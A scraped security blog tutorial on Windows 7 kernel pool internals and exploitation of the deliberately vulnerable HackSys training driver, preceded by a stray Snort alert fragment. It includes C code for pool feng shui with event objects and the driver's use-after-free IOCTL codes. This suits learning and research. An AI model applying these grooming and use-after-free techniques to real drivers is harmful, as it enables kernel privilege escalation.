    08/09-11:26:49.588645  [**] [1:16665:3] WEB-CLIENT Microsoft Windows Help Centre escape sequence XSS attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 213.155.12.144:80 -> 10.11.250.196:107608/09-11:26:49.588645 0:1E:13:F0:2E:19 -> 0:C:29:21:50:D5 type:0x8100 len:0x59E213.155.12.144:80 -> 10.11.250.196:1076 TCP TTL:59 TOS:0x0 ID:11527 IpLen:20 DgmLen:1420 DF
    
[/code]

ClamAV has got you covered as well with BC.Exploit.CVE\_2010\_1885.

# Windows Kernel Exploitation Part 4: Introduction to Windows Kernel Pool
Exploitation

**Created:**| _7/17/2017 11:12:55 AM_  
---|---  
**Updated:**| _7/17/2017 11:12:55 AM_  
**Author:**| __  
**Tags:**| _windows security kernel_  
  

  

# Windows Kernel Exploitation Part 4: Introduction to Windows Kernel Pool
Exploitation

01 June 2017

In this post I'm going to cover exploiting the Use-After-Free and Pool
Overflow issues in the HackSys Team Extremely Vulnerable Driver. However, in
order to explain this properly, an understanding Windows kernel memory
management is needed. As such this post will cover the following:

  1. An overview of Windows kernel memory allocation
  2. A walkthrough on Windows kernel pool Fengshui
  3. Exploiting the HackSys Team Extremely Vulnerable Driver Use-After-Free
  4. Exploiting the HackSys Team Extremely Vulnerable Driver Pool overflow via two different methods

As with the previous examples, this post is focused on Windows 7, Service Pack
1, 32 bits.

#### Windows Kernel Pools

Some basic knowledge of how memory management works will be helpful here, if
you've never looked at Virtual Memory and Paging before, its worth giving the
following a quick read:

  1. Anatomy of a Program in Memory
  2. How the Kernel Manages Your Memory

The Windows kernel uses two types of dynamically sized 'pools' to allocate
system memory, these are the kernels equivalent to the Heap in User Mode. I'm
only going to cover enough details to understand how the exploits later work,
for more info check out:

  1. Kernel Pool Exploitation on Windows 7 by Tarjei Mandt 
  2. Windows Internals Seventh Edition Part 1 Chapter 5 or Windows Internals Sixth Edition Part 2 Chapter 10 Memory Management 
  3. Memory Management for Windows Drivers

On Windows there are two key types of pool, the Nonpaged pool and the paged
Pool. There's also the Special pool which I'll cover while walking through the
Use After Free exploit and the Session pool which is used by win32k and won't
be covered here.

##### Paged vs Non-Paged Pools

The Nonpaged pool is made up of memory which is guaranteed to always be stored
in physical memory, whereas memory allocated within the Paged pool can be
paged out. This is required because some kernel structures need to be
accessible at IRQLs higher than that at which page faults can be satisfied.
More details on IRQLs and what actions are supported at each level can be
found at Managing Hardware Priorities.

This means that the Nonpaged pool is used to store key control structures such
as Processes, Threads, Semaphores etc. Meanwhile the Paged pool is used to
store file mappings, object handles, etc. The Paged pool actually consists of
several separate pools, whereas at least on Windows 7, there is only one
Nonpaged pool.

In order to allocate pool memory, generally drivers and the kernel will use
the ExAllocatePoolWithTag function, the definition of which is next.

[code]

    PVOID ExAllocatePoolWithTag(
      _In_ POOL_TYPE PoolType,
      _In_ SIZE_T    NumberOfBytes,
      _In_ ULONG     Tag
    );
    
[/code]

The PoolType argument consists of a value from the POOL\_TYPE enum. This
defines exactly what type of pool memory is being requested, we'll mostly be
seeing it called with 0 which corresponds to the Nonpaged pool.

[code]

    typedef enum _POOL_TYPE { 
      NonPagedPool,
      NonPagedPoolExecute                   = NonPagedPool,
      PagedPool,
      NonPagedPoolMustSucceed               = NonPagedPool + 2,
      DontUseThisType,
      NonPagedPoolCacheAligned              = NonPagedPool + 4,
      PagedPoolCacheAligned,
      NonPagedPoolCacheAlignedMustS         = NonPagedPool + 6,
      MaxPoolType,
      NonPagedPoolBase                      = 0,
      NonPagedPoolBaseMustSucceed           = NonPagedPoolBase + 2,
      NonPagedPoolBaseCacheAligned          = NonPagedPoolBase + 4,
      NonPagedPoolBaseCacheAlignedMustS     = NonPagedPoolBase + 6,
      NonPagedPoolSession                   = 32,
      PagedPoolSession                      = NonPagedPoolSession + 1,
      NonPagedPoolMustSucceedSession        = PagedPoolSession + 1,
      DontUseThisTypeSession                = NonPagedPoolMustSucceedSession + 1,
      NonPagedPoolCacheAlignedSession       = DontUseThisTypeSession + 1,
      PagedPoolCacheAlignedSession          = NonPagedPoolCacheAlignedSession + 1,
      NonPagedPoolCacheAlignedMustSSession  = PagedPoolCacheAlignedSession + 1,
      NonPagedPoolNx                        = 512,
      NonPagedPoolNxCacheAligned            = NonPagedPoolNx + 4,
      NonPagedPoolSessionNx                 = NonPagedPoolNx + 32
    } POOL_TYPE;
    
[/code]

The second argument is the number of bytes of Pool memory required and finally
the PoolTag argument is a 32 bit value which is generally treated as 4
characters used to tag what the memory is used for, this is super handy when
debugging and is also used by a lot of kernel memory instrumentation -
tracking how many allocations have been made with a certain tag, breaking when
memory is allocated with a certain tag, etc.

To free allocated pool memory the ExFreePoolWithTag function is generally
used.

[code]

    VOID ExFreePoolWithTag(
      _In_ PVOID P,
      _In_ ULONG Tag
    );
    
[/code]

This just requires a pointer to a valid pool allocation and the pool metadata
will give it everything else needed, under standard conditions the pool tag
provided won't be validated. However with the right debugging settings enabled
the tag's will be validated and a BSOD will be triggered if they don't match.
Now lets look into how these functions work under the hood.

#### Allocating Memory

At a first look in a dissassembler `ExAllocatePoolWithTag` is pretty
intimidating.  
<img src='img/Temp2_9854.png' width='205' height='153' />

Luckily Tarjei Mandt already did the work of turning the function into pseudo
code in his paper, which acts as a nice guide. I'm going to use his pseudo
code and some checking in IDA, with windbg, etc. to explain how the function
works. His explanation is probably better and more accurate though, all the
code snippets in this section are from the paper.

First of all the function checks if the number of bytes requested if over 4080
bytes and calls the Big Pool allocator if so.

[code]

    // call pool page allocator if size is above 4080 bytes
    if (NumberOfBytes > 0xff0) {  
    // call nt!ExpAllocateBigPool
    }
    
[/code]

Here `esi` contains the requested number of bytes, if it's above `0xff0` it
goes to `nt!ExpAllocateBigPool`. Otherwise the true branch is taken and
processing continues.

<img src='img/Temp2_9867.png' width='321' height='99' />

[code]

    if (PoolType & PagedPool) {  
        if (PoolType & SessionPool && BlockSize <= 0x19) {
            // try the session paged lookaside list
            // return on success
        } else if (BlockSize <= 0x20) {
            // try the per-processor paged lookaside list
            // return on success
        }
        // lock paged pool descriptor (round robin or local node)
    }
    
[/code]

At this point `[esp+48h+var_20]` holds the PoolType and'd with 1. So if the
value is equal to 0 it's a Nonpaged pool, skipping the above if statement and
going to the else shown in a minute, meanwhile if the type is for Paged pool
memory the true branch is taken.

<img src='img/Temp2_9856.png' width='243' height='103' />

On the true branch it checks if the pool type is for the session pool.

<img src='img/Temp2_9885.png' width='316' height='109' />

It then immediately checks if the requested byte count is above 32.

<img src='img/Temp2_9863.png' width='217' height='88' />

Meanwhile on the false branch it also checks if the allocation is above 32
bytes.  
<img src='img/Temp2_9860.png' width='325' height='99' />

If either check is passed, the logic gets a bit hairy so to give a brief
overview, Tarjei's paper has more detail. The function will attempt to
allocate the requested blocks by finding an entry on the Lookaside list for
the relevant pool. The Lookaside list is a per processor structure for each
pool, a reference to it is stored in the Kernel Processor Control Block. The
Lookaside lists consist of singley linked lists of commonly requested memory
sizes, for general Pool memory this is small allocations that will be made
frequently. Using the Lookaside lists allows these frequent allocations to be
made more rapidly. Other more specific lookaside lists exist for very
frequently made fixed sized allocations.

If neither of the size checks were passed or allocating memory from the
lookaside lists failed. The paged pool descriptor is locked, this is the same
structure as used for the Nonpaged pool and is used in the same way, so I'll
describe it later.

Now we have the code which is ran if the requested allocation is of a NonPaged
pool type, here we took the false branch at `loc_518175` above.

[code]

    else { // NonPagedPool  
        if (BlockSize <= 0x20) {
            // try the per-processor non-paged lookaside list
            // return on success
        }
        // lock non-paged pool descriptor (local node)
    }
    
[/code]

Next the code will check the requested blocksize is less than or equal to 32
bytes as shown below. As above if the allocation is small enough it will
attempt to use the lookaside list, returning if successful.

<img src='img/Temp2_9876.png' width='657' height='436' /> If the lookaside
list cannot be used or the requested block size if greater than 32 bytes, the
non-paged pool descriptor will be locked. First a pointer for the Nonpaged
pool descriptor will be got, if there's more than 1 Nonpaged pool a lookup
will be done.

First the index into the `ExpNonPagedPoolDescriptor` table will be calculated
based on the number of Nonpaged pools available and the 'local node' \(the
paper explains this but basically each processor in a multi core system can
have preferred local memory for performance reasons\):  
<img src='img/Temp2_9873.png' width='722' height='298' /> Here `eax` ends up
holding the chosen index. Then a reference will be read from the table:  
<img src='img/Temp2_9878.png' width='424' height='137' />

This is the same logic as for Paged pools, calculating the index and then
getting a reference:  
<img src='img/Temp2_9858.png' width='433' height='338' /> At this point the
code paths for both paged and nonpaged allocations have reached the same
point. The allocator will check if the page descriptor is locked and acquire a
lock if not.

<img src='img/Temp2_9881.png' width='632' height='377' />

Now what does the descriptor structure actually consist of? Luckily it's
included in the public symbols for Windows 7.

[code]

    dt nt!_POOL_DESCRIPTOR  
       +0x000 PoolType         : _POOL_TYPE
       +0x004 PagedLock        : _KGUARDED_MUTEX
       +0x004 NonPagedLock     : Uint4B
       +0x040 RunningAllocs    : Int4B
       +0x044 RunningDeAllocs  : Int4B
       +0x048 TotalBigPages    : Int4B
       +0x04c ThreadsProcessingDeferrals : Int4B
       +0x050 TotalBytes       : Uint4B
       +0x080 PoolIndex        : Uint4B
       +0x0c0 TotalPages       : Int4B
       +0x100 PendingFrees     : Ptr32 Ptr32 Void
       +0x104 PendingFreeDepth : Int4B
       +0x140 ListHeads        : [512] _LIST_ENTRY
    
[/code]

The \(Non\)PagedLock field is what we just saw being checked before the
function definitely acquired a lock on the descriptor. The PoolType is self
explanatory and the PoolIndex field indicates what entry in the
`ExpPagedPoolDescriptor` or `ExpNonPagedPoolDescriptors` tables exported by
the kernel a pointer to the structure can be found. The only other fields we
really care about are PendingFrees and PendingFreeDepth which I'll explain in
the next section and ListHeads which we need to look at now.

The ListHeads is a list of free blocks of memory of multiples of 8 bytes up to
a large allocation. Each entry includes a `LIST_ENTRY` structure which is part
of a linked list of blocks of the same size. The list is indexed by the
requested block size + 8 \(to make room for the `POOL_HEADER`, described in a
second\) divided by 8 to get the byte count. The allocator will go through the
list starting at the entry of the exact size needed looking for a valid chunk
to use, if it can't an exact fit, it looks for a larger entry and splits it.
The pseudo code for this is below, again stolen from Tarjei Mandt's paper.

[code]

    // attempt to use listheads lists
    for (n = BlockSize-1; n < 512; n++) {  
        if (ListHeads[n].Flink == &ListHeads[n]) { // empty
            continue; // try next block size
        }
        // safe unlink ListHeads[n].Flink
        // split if larger than needed
        // return chunk
    }
    
[/code]

I gave up following the assembly properly at this point - it gets a bit mental
and I'm not sure it'd add much \(also this blogpost just topped 10k
words...\). However we could do with a bit more detail on what happens when
the function actually successfully finds a chunk of memory that's of a correct
size. Allocations made by the allocator are for the requested amount + 8
bytes, to make room for the `POOL_HEADER` mentioned previously. The structure
is included in Windows 7's public symbols, so we can see it below.

[code]

    dt nt!_POOL_HEADER  
       +0x000 PreviousSize     : Pos 0, 9 Bits
       +0x000 PoolIndex        : Pos 9, 7 Bits
       +0x002 BlockSize        : Pos 0, 9 Bits
       +0x002 PoolType         : Pos 9, 7 Bits
       +0x000 Ulong1           : Uint4B
       +0x004 PoolTag          : Uint4B
       +0x004 AllocatorBackTraceIndex : Uint2B
       +0x006 PoolTagHash      : Uint2B
    
[/code]

The PreviousSize field is the size of the previous allocation in memory, this
is used when freeing allocations to check for corruption. The PoolIndex field
can be used to look up the `POOL_DESCRIPTOR` for the allocation, as explained
earlier. The BlockSize is the total size of the allocation, including the
header and finally the PoolType is just the value from the `POOL_TYPE` enum it
was allocated with, or'd with 2 if the block is not free. The PoolTag is self
explanatory.

Finally if the function failed to find space for the allocation in already
allocated memory pages it will call `MiAllocatePoolPages` to create some more
and return an address within the new memory.

[code]

    // no chunk found, call nt!MiAllocatePoolPages
    // split page and return chunk
    
[/code]

As can be seen below.

<img src='img/Temp2_9884.png' width='895' height='255' />

#### Freeing Memory

This time I've just provided some comments on Tarjei Mandt's reversed code,
I'm not sure the assembly snippets are adding much but happy to add to this if
they were actually useful...this just has the components relevant to the
exploits, see the paper for all the code and details.

The blocksize should be equal to the previous size field in the next pool
objects header, if it isn't then memory has been corrupted and a BugCheck is
triggered. When overwriting this structure we need to make sure the BlockSize
is overwritten with the correct value or we'll get Blue Screens.

[code]

    if (Entry->BlockSize != NextEntry->PreviousSize)  
        BugCheckEx(BAD_POOL_HEADER);
    
[/code]

Then checks for paged pool type are made, I've skipped the Session part.

[code]

    else if (Entry->BlockSize <= 0x20) {  
        if (Entry->PoolType & PagedPool) {
            // put in per-processor paged lookaside list
            // return on success
        }
    
[/code]

[code]

    else { // NonPagedPool  
        // put in per-processor non-paged lookaside list
        // return on success
    }
    
[/code]

If delayed free's are enabled then check to see if the pending list has >= 32
entried, if so free them all and add the current entry to the list.

[code]

    if (ExpPoolFlags & DELAY_FREE) { // 0x200  
        if (PendingFreeDepth >= 0x20) {
            // call nt!ExDeferredFreePool
        }
    // add Entry to PendingFrees list
    }
    
[/code]

We'll only be looking at systems with DefferedFree allowed so I'll skip the
old merge logic. The logic in `ExDeferredFreePool` is fairly straight forward
at a high level and the function is defined as below.

[code]

    VOID ExDeferredFreePool( PPOOL_DESCRIPTOR PoolDesc, BOOLEAN bMultipleThreads)  
    
[/code]

It takes in a pointer to the `POOL_DESCRIPTOR` which was locked by
`ExFreePoolWithTag` earlier. It then loops through PendingFrees and free's
each entry, if the next or previous entries are free then they'll be coalesced
with the block currently being free'd.

#### Windows Kernel Pool Fengshui

In order to carry out kernel pool fengshui we need to allocate objects within
the correct type of Pool and which are sizes which are useful to us. We know
that key kernel data structures like Semaphores are stored in the Nonpaged
Pool, which is also used by the HackSys driver for all the Pool based
challenges. To start off with we need to find out some kernel structures which
be allocated within the Nonpaged pool and there sizes. The easy way to do this
is to allocate some controls objects and then use a kernel debugger to view
the corresponding pool allocations. I used the following code to do this.

[code]

    #include "stdafx.h"
    #include <Windows.h>
    
    //from https://www.nirsoft.net/kernel_struct/vista/UNICODE_STRING.html
    typedef struct _UNICODE_STRING  
    {
        WORD Length;
        WORD MaximumLength;
        WORD * Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    
    //from https://www.nirsoft.net/kernel_struct/vista/OBJECT_ATTRIBUTES.html
    typedef struct _OBJECT_ATTRIBUTES  
    {
        ULONG Length;
        PVOID RootDirectory;
        PUNICODE_STRING ObjectName;
        ULONG Attributes;
        PVOID SecurityDescriptor;
        PVOID SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
    
    //from https://github.com/JeremyFetiveau/Exploits/blob/master/MS10-058.cpp
    #define IOCO 1
    typedef NTSTATUS(__stdcall *NtAllocateReserveObject_t) (OUT PHANDLE hObject, IN POBJECT_ATTRIBUTES ObjectAttributes, IN DWORD ObjectType);
    
    int main()  
    {
        HMODULE hModule = LoadLibraryA("ntdll.dll");
    
        if (hModule == NULL) {
            printf("Couldn't load ntdll, how is computer running? : 0x%X\n", GetLastError());
            return 1;
        }
    
        NtAllocateReserveObject_t NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(hModule, "NtAllocateReserveObject");
    
        if (NtAllocateReserveObject == NULL) {
            printf("Couldn't get a reference to NtAllocateReserveObject in ntdll?!: 0x%X\n", GetLastError());
            return 1;
        }
    
        printf("NonPaged Pool objects:\r\n");
        HANDLE reserve = NULL;
        NtAllocateReserveObject(&reserve,0,IOCO);
        printf("\tReserve object: 0x%x\r\n", reserve);
        HANDLE event = CreateEvent(NULL, false, false, TEXT(""));
        printf("\tEvent object: 0x%x\r\n", event);
        HANDLE semaphore = CreateSemaphore(NULL, 0, 1, TEXT(""));
        printf("\tSemaphore object: 0x%x\r\n", semaphore);
        HANDLE mutex = CreateMutex(NULL, false, TEXT(""));
        printf("\tMutex object: 0x%x\r\n", mutex);
        getchar();
        DebugBreak();
        return 0;
    }
    
[/code]

Compiling and running this code gives the following output, then after hitting
enter our attached kernel debugger should break.

<img src='img/Temp2_9894.png' width='262' height='68' />

Using the debugger we can find out where each structure resides in memory and
how much memory is allocated for it. In windbg the `!handle` command can be
entered to get the details for an object. Here I'm retrieving the Reserve
object's details.

[code]

    !handle 0x20
    ...
    0020: Object: 85edb3c0  GrantedAccess: 000f0003 Entry: 86322040  
    Object: 85edb3c0  Type: (843e3d20) IoCompletionReserve  
        ObjectHeader: 85edb3a8 (new version)
            HandleCount: 1  PointerCount: 1
    
[/code]

Once we know the objects address we can look up it's pool details using the
`!pool` command. Parsing 2 as it's second argument means it only shows the
exact allocation we're interested in, removing the 2 will show us surrounding
allocations within the page of memory.

[code]

    kd> !pool 85edb3c0 2  
    Pool page 85edb3c0 region is Nonpaged pool  
    *85edb390 size:   60 previous size:   30  (Allocated) *IoCo (Protected)
            Owning component : Unknown (update pooltag.txt)
    
[/code]

Here we can see that the Reserve object is allocated with a tag of 'IoCo' and
takes up 60 bytes. Repeating this process for the other objects gives us the
following.

[code]

    Event:  
    *8458e540 size:   40 previous size:   b8  (Allocated) *Even (Protected)
    
    Semaphor:  
    *86107538 size:   48 previous size:   10  (Allocated) *Sema (Protected)
    
    Mutex:  
    *84de7b48 size:   50 previous size:   50  (Allocated) *Muta (Protected)
    
[/code]

Knowing the object sizes will be useful later when we need to ensure are a
target object of a set size is allocated reliably in a gap in memory we've
created. For now lets try to carry out pool grooming using Event objects which
give us a pattern of free and allocated 0x40 byte pool blocks.

Since the allocater will allocate memory for objects by looking for free
blocks before starting to allocate them on free pages, we need to start by
filling of the existing 0x40 byte free blocks.

For example the below code will allocate five event objects.

[code]

    #include "stdafx.h"
    #include <Windows.h>
    
    #define DEFRAG_EVENT_COUNT 5
    
    int main()  
    {
    
        HANDLE hDefragEvents[DEFRAG_EVENT_COUNT] = {0x0};
        for (unsigned int i = 0; i < DEFRAG_EVENT_COUNT; i++) {
            HANDLE hEvent = CreateEvent(NULL, false, false, TEXT(""));
            if (hEvent == NULL) {
                printf("Failed to create groom event 0x%X: 0x%X\r\n", i, GetLastError());
                return 1;
            }
            hDefragEvents[i] = hEvent;
        }
        printf("Last 5 Event handles:\r\n");
        for (unsigned int i = 0; i < 5; i++) {
            unsigned int index = DEFRAG_EVENT_COUNT - i;
            printf("\t Event handle %d: 0x%X", index, hDefragEvents[index]);
        }
        DebugBreak();
        for (unsigned int i = 0; i < DEFRAG_EVENT_COUNT; i++) {
            HANDLE hEvent = hDefragEvents[i];
            if (!CloseHandle(hEvent)) {
                printf("Failed to remove defrag event object 0x%X: 0x%X\r\n", hEvent, GetLastError());
                return 1;
            }
        }
    
        return 0;
    }
    
[/code]

Now if we build this code and run it with a kernel debugger attached, we can
see the Handle's for the five event objects.

<img src='img/Temp2_9871.png' width='647' height='112' />

Examining the last two handles in windbg shows us that they are not allocated
anywhere near each other.

[code]

    !handle 0x34
    ...
    0034: Object: 85d44de8  GrantedAccess: 001f0003 Entry: a9635068  
    Object: 85d44de8  Type: (841bd440) Event  
        ObjectHeader: 85d44dd0 (new version)
            HandleCount: 1  PointerCount: 1
    
    
    !handle 0x30
    ...
    0030: Object: 84d32ee0  GrantedAccess: 001f0003 Entry: a9635060  
    Object: 84d32ee0  Type: (841bd440) Event  
        ObjectHeader: 84d32ec8 (new version)
            HandleCount: 1  PointerCount: 1
    
[/code]

Further viewing the pool information for the page on which the penultimate
Event object was allocated, shows that it is just placed in the first
available gap between two random objects.

[code]

    kd> !pool 84d32ee0  
    ...
     84d32d98 size:   38 previous size:   40  (Allocated)  ViMm
     84d32dd0 size:   90 previous size:   38  (Allocated)  Ntfx
     84d32e60 size:   10 previous size:   90  (Free)       CcBc
     84d32e70 size:   40 previous size:   10  (Allocated)  Even (Protected)
    *84d32eb0 size:   40 previous size:   40  (Allocated) *Even (Protected)
            Pooltag Even : Event objects
     84d32ef0 size:   18 previous size:   40  (Allocated)  AzBD
     84d32f08 size:   28 previous size:   18  (Allocated)  VadS
     84d32f30 size:   68 previous size:   28  (Allocated)  FMsl
     84d32f98 size:   28 previous size:   68  (Allocated)  VadS
     84d32fc0 size:   40 previous size:   28  (Allocated)  Even (Protected)
    
[/code]

However if we increase `DEFRAG_EVENT_COUNT` to a much larger number, we get a
very different story.

[code]

    #define DEFRAG_EVENT_COUNT 20000
    
[/code]

Again running it and viewing the last five handles.

<img src='img/Temp2_9895.png' width='312' height='86' />

Examining the handles in windbg we can see that they have been allocated
contiguously in memory.

[code]

    !handle 13930
    ...
    13930: Object: 85c50a00  GrantedAccess: 001f0003 Entry: a6cc5260  
    Object: 85c50a00  Type: (841bd440) Event  
        ObjectHeader: 85c509e8 (new version)
            HandleCount: 1  PointerCount: 1
    
    !handle 1392c
    ...
    1392c: Object: 85c50a40  GrantedAccess: 001f0003 Entry: a6cc5258  
    Object: 85c50a40  Type: (841bd440) Event  
        ObjectHeader: 85c50a28 (new version)
            HandleCount: 1  PointerCount: 1
    
[/code]

Examining the pool layout for the page both Event objects are allocated on,
shows a long series of Event objects allocated contiguously. The deterministic
nature of the memory allocator means that this will always happen eventually,
if we allocate enough Event objects.

[code]

    !pool 85c50a40
    ...
     85c509d0 size:   40 previous size:   40  (Allocated)  Even (Protected)
    *85c50a10 size:   40 previous size:   40  (Allocated) *Even (Protected)
            Pooltag Even : Event objects
     85c50a50 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50a90 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50ad0 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50b10 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50b50 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50b90 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50bd0 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50c10 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50c50 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50c90 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85c50cd0 size:   40 previous size:   40  (Allocated)  Even (Protected)
    ...
    
[/code]

Now we want to create 'holes' in the address space of a controlled size. At
this point we know any more allocated event object will be allocated mostly
contiguously, so by allocating a large number and then freeing every other
object we should get a pattern of free and allocated objects.

I added the following code to the example above, where the loop printing the
last five handles used to be.

[code]

    HANDLE hGroomEvents[5000] = { 0x00 };
    
    for (unsigned int i = 0; i < 5000; i++) {  
        HANDLE hEvent = CreateEvent(NULL, false, false, TEXT(""));
        if (hEvent == NULL) {
            printf("Failed to create groom event 0x%X: 0x%X\r\n", i, GetLastError());
            return 1;
        }
        hGroomEvents[i] = hEvent;
    }
    
    for (unsigned int i = 0; i < 5000; i+=2) {  
        HANDLE hEvent = hGroomEvents[i];
        if (!CloseHandle(hEvent)) {
            printf("Failed to remove defrag event object 0x%X: 0x%X\r\n", hEvent, GetLastError());
            return 1;
        }
    }
    printf("Example Event handle: 0x%X\r\n", hGroomEvents[4443]);  
    getchar();  
    DebugBreak();  
    for (unsigned int i = 1; i < 5000; i += 2) {  
        HANDLE hEvent = hGroomEvents[i];
        if (!CloseHandle(hEvent)) {
            printf("Failed to remove defrag event object 0x%X: 0x%X\r\n", hEvent, GetLastError());
            return 1;
        }
    }
    
[/code]

Running it we get an example handle printed out from a vaguely random index
into the remaining handles.  
<img src='img/Temp2_9865.png' width='238' height='17' />

Examining the handle in windbg allows us to find it's address in memory.

[code]

    !handle 17ecc
    ...
    17ecc: Object: 85d3ba30  GrantedAccess: 001f0003 Entry: 87e88d98  
    Object: 85d3ba30  Type: (841bd440) Event  
        ObjectHeader: 85d3ba18 (new version)
            HandleCount: 1  PointerCount: 1
    
[/code]

Once we know the allocations address, we can again view the pool layout of the
page it is allocated on. Here we can see that we've successfully created a
pattern of free and allocated Event objects.

[code]

    !pool 85d3ba30  
    ...
     85d3b7c0 size:   40 previous size:   40  (Free)       Even
     85d3b800 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3b840 size:   40 previous size:   40  (Free)       Even
     85d3b880 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3b8c0 size:   40 previous size:   40  (Free)       Even
     85d3b900 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3b940 size:   40 previous size:   40  (Free)       Even
     85d3b980 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3b9c0 size:   40 previous size:   40  (Free)       Even
    *85d3ba00 size:   40 previous size:   40  (Allocated) *Even (Protected)
            Pooltag Even : Event objects
     85d3ba40 size:   40 previous size:   40  (Free)       Even
     85d3ba80 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3bac0 size:   40 previous size:   40  (Free)       Even
     85d3bb00 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3bb40 size:   40 previous size:   40  (Free)       Even
     85d3bb80 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3bbc0 size:   40 previous size:   40  (Free)       Even
     85d3bc00 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3bc40 size:   40 previous size:   40  (Free)       Even
     85d3bc80 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3bcc0 size:   40 previous size:   40  (Free)       Even
     85d3bd00 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3bd40 size:   40 previous size:   40  (Free)       Even
     85d3bd80 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3bdc0 size:   40 previous size:   40  (Free)       Even
     85d3be00 size:   40 previous size:   40  (Allocated)  Even (Protected)
     85d3be40 size:   40 previous size:   40  (Free)       Even
    ...
    
[/code]

For objects/allocations we can't find a corresponding kernel object the same
size as, we can use multiple copies of an object of a dividing size or attempt
something more elaborate.

#### HackSysTeam Extremely Vulnerable Driver Use-After-Free Exploitation

A Use-After-Free \(UAF\) vulnerability occurs when \(shockingly\) memory is
used after it has already been free'd. By finding somewhere where code does
this, it may be possible to replace the free'd memory with something else.
Then when the memory is referenced and the code thinks one structure/object is
there, another is. By placing the right new data where the free memory is,
code execution can be gained.

#### The Vulnerability

As I just explained in order to exploit a UAF we need the following:

  1. A way to create an object
  2. A way to free the object
  3. A way to replace it
  4. A way to cause the replacement to be referenced as if it was the original

As before a brief look at the driver in IDA shows us all our needs are
provided for, I'll start by covering points 1,2 and 4 as they'll let us
develop a crash PoC. First off we need a way to create an object in kernel
memory using the driver, looking at the IOCTL dispatch function shows us a
function call proceeded by logging the following string: `******
HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT ******`. This sounds like it'll be what
we're looking for.

<img src='img/Temp2_9868.png' width='665' height='127' />

Taking a look at the function itself, we see that allocates 0x58 bytes of
memory on the Nonpaged pool.

<img src='img/Temp2_9886.png' width='332' height='109' />

If this allocation is successful it goes onto load values into the memory and
save a reference to it, in a global variable.

<img src='img/Temp2_9866.png' width='490' height='400' />

At 1 the function is setting all of the allocated memory to be filled with
'0x41' bytes. Then loads a 0 byte into the last byte of the memory. The
function pointer loaded into the first four bytes of the object at 3 is a
simple function which logs that it has been called.  
<img src='img/Temp2_9869.png' width='570' height='101' />

Finally at 4 the driver saves a pointer to the memory in the global variable
named P.

Now we can create the object, we need a way to free it. The function call in
the IOCTL dispatch function preceded by logging `******
HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******` is probably a good call.

<img src='img/Temp2_9864.png' width='567' height='131' />

Looking at the function itself we can see it doesn't take any input, instead
operating on the reference stored by the last function we looked at.

<img src='img/Temp2_9879.png' width='526' height='352' />

Once called the function checks that the global pointer 'P' referenced in the
create function isn't null at 1 before proceeding to call ExFreePoolWithTag on
it at 2.

Onto our third requirement - a way to make the driver reference the free'd
object in some way, luckily `****** HACKSYS_EVD_IOCTL_USE_UAF_OBJECT ******`
sounds like it'll do the trick.

<img src='img/Temp2_9875.png' width='565' height='142' />

Looking at the function we can see that it attempts to call the function
pointer loaded into the first four bytes of the UAF object by the create
function.

<img src='img/Temp2_9861.png' width='572' height='422' />

Here at 1, it's making sure that P contains a pointer to an object and isn't a
null pointer. It then loads the first four bytes of memory into eax and makes
sure they aren't null bytes at 2. If both these checks were successful then
the callback is called at 3.

Working out the required IOCTL codes gives us the three IOCTL codes we need.

[code]

    #define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT                 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
    
[/code]

#### Developing a crash PoC

In order to reliably detect that a UAF has occurred, I used some of the
Windows kernels pool debugging functionality. In this case enabling special
pool for the  
HackSysExtremeVulnerableDriver using the command shown below.

[code]

    verifier /volatile /flags 0x1 /adddriver HackSysExtremeVulnerableDriver.sys  
    
[/code]

If this has run successfully we should see the following output.

<img src='img/Temp2_9883.png' width='652' height='142' />

When a binary with special pool enabled calls the `ExAllocatePoolWithTag`
function, it will use the `ExAllocatePoolWithTagSpecialPool` function to
allocate memory instead of following it's standard logic. As shown below.

<img src='img/Temp2_9872.png' width='628' height='460' />

The `ExFreePoolWithTag` function has matching logic. Special pool works by
being a literal separate memory pool backed by separate pages of memory.
There's a few different options for special pool, as explained here. By
default it is in verify end mode which in brief means that all allocations
made by the driver are placed as close to the end of a page of memory as
possible and the following and previous pages are marked as inaccessible. This
means that if the driver attempts to access memory beyond the end of the
allocation an error will be triggered. Additionally the unused memory on the
page is marked with special patterns, so that if these are corrupted the error
can be detected when the memory is free'd.

Additionally special pool will mark memory it has free'd and avoid
reallocating it for as long as possible. If the free'd memory is referenced it
will trigger an error. This causes a huge performance impact for the driver,
so it's only enabled when debugging memory issues.

